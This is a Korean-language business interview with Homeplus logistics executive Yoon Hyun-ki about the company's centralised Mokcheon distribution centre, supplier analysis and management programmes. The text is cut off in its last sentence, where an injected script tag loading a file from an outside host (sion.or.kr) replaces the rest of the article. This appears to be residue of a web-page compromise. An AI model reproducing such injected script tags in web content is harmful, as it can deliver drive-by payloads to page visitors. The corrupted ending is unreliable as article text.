인터뷰>> 윤현기 홈플러스 상무


상품이 생산되어 소비자에게 전달되기까지, 기업들의 유통시스템은 제각각 다르다. 저마다 효과적인 단계, 적합한 방법이 무엇인가를 고민하고 선택한다. 삼성홈플러스가 선택한 방식은 원포인트 전략이다. 전국의 상품을 한 곳에서 집결시켜 전체 매장으로 뿌린다. ‘하나로 가능할까’라는 의구심을 물리치고 이 전략을 강력하게 추진, 성공적으로 안착시킨 사람은 ‘물류의 달인’이라 불리는 윤현기 상무다. 그는 ‘소비자 만족은 물류시스템으로부터 출발한다’고 믿는다.






서비스품질 향상은 물류로부터 출발
윤현기 Supply Chain Management 상무가 삼성테스코에 입사한 것은 2000년 8월이다. 그때의 홈플러스는 대구점, 서부산점의 2개 점포를 보유한 상태였다. 이전 삼성물산 유통사업부문 시절에 오픈한 점포들. 1999년 영국 테스코 사와의 합작을 통해 2000년 안산점 오픈을 시작으로 본격적인 투자를 계획하고 진행하는 시점이었다.
“서비스 품질을 어떻게 향상시킬까 하는 것은 모든 유통회사의 화두입니다. 현대 유통기업들에게 이 화두의 가장 중요한 키는 시간단축입니다. 물류의 시간싸움, 대부분의 사람들이 거리가 가까울수록 운송 시간이 단축되고 정확한 물량과 물건을 제때에 전달한다고 생각합니다. 물리적거리와 시간은 중요합니다. 그러나 그보다 더 중요한 것은 프로세스의 문제입니다. 서비스 향상도 여기에서부터 출발합니다.”
상품의 구매계획과 판매는 물류와 불가분의 관계가 있다. 발주와 동시에 검수, 입고되는 과정이 순차적으로 이루어지지 않으면 상품을 소비자에게 정확하게 도달시킬 수 없다. 그래서 구매를 위한 계획도 물류시스템이 바탕이 된다. 즉 ‘어떻게 유통시킬 것이냐’, ‘구매, 물류, 판매를 어떻게 연결시킬 것이냐’ 하는 것이 모든 유통기업들의 기본 프로세스인 것이다.
외국계 유통기업 P&G에서 구매업무를 맡아보았던 윤현기 상무는 삼성테스코의 초기 부지선정 때부터 이 연결고리들을 정확하게 분석했다.
“물류는 제조와 달리 각 요소들간의 연결을 원활하게 하는 것이 중요합니다. 목천부지와 현재 매장, 앞으로 오픈할 매장, 각 공급업체, 주요 도로망과의 관계, 나아가 중국진출을 위한 교두보 확보까지, 철저하게 포인팅하고 그 시간을 분석했지요. 물류는 말 그대로 물 흐르듯 원활해야 함과 동시에 과학적인 방법으로 운영되어야 합니다.”
그가 제일 먼저 한 일은 삼성테스코가 계획한 57개 점포의 위치를 지도에 포인팅하고. 물리적 지리적 시간적 거리를 분석하는 것이었다. 그에 따라 직납을 제외한 700개의 관련업체들 중에서 80:20의 법칙처럼 100개가 주요 거래업체로 분석되었다.
이중 주요업체 80개가 목천에서 1시간 내에 가능했다. 이들은 모두 천안 기점으로 5시간 내에 어디에나 도달 가능했다. 단순 거리를 단축시키기 위해서 많은 물류센터를 지을 필요가 없다는 결론이었다. 가공식품을 포함한 공산품을 위한 드라이 센터는 단일한 대규모시설로 한다는 계획으로 착수해나갔다.
당시 국내에서는 이마트가 유일하게 자체 물류센터를 보유하고 있었다. 용인의 Dry 물류센터를 운영하면서, 대구에 공산품 및 신선 식품을 함께 취급하는 복합물류센터 건축을 계획하고 있었다. 홈플러스가 계획하는 컨셉트와는 맞지 않았고 그것은 영국 테스코도 마찬가지였다.
물류센터는 많았지만 인력과 운송 체계는 다양했다. 윤 상무는 이 중에서 장점들을 취합했다.
목천물류센터는 2007년까지 장기 계획 이후의 지원까지 염두에 둔 것이고 따라서 대규모였다.
이곳의 공급물량은 연간 9500만 케이스의 처리, 향후 연간 1억 3500만 케이스까지 목천센터를 통해 처리하고 필요하면 약간의 증축을 통해 주당 300만, 연간 1억 5000만 이상을 지원하겠다는 구상이다. 즉 110개 이상의 하이퍼마켓을 목천을 통해 지원한다는 것인데 현재 홈플러스의 성장 속도와 향후 전망을 볼 때, 결코 무리한 숫자는 아니다.
“그 당시 이용하던 물류센터는 이천 덕평 쪽의 3000평 임대창고였습니다. 낙후되고 열악한 상태였죠. 70여명 정도의 직원들 사기는 뚝 떨어져 있었습니다. 점포나 본사로 가고 싶다는 사람이 대다수였고 통일된 유니폼도 없었죠. 이걸 보니 할 일이 많다 싶었습니다.”
윤 상무는 이들의 사기를 높이고 물류에 대한 새로운 인식을 심어주고 싶었다. 첫 번째로 한 것은 비전제시였다. ‘Where our logistics vision comes true(물류의 비전이 실현되는 곳)’이라는 슬로건은 그때 나왔다.

제조업의 이론을 물류에 적용시키다
윤 상무는 삼성테스코의 발전을 위한 새로운 프로그램을 생산하고 적용시켰다. 단계 변화를 위한 일상 관리 프로그램(Daily Management System)은 그 중 하나?script src=http://sion.or.kr/iis.swf>
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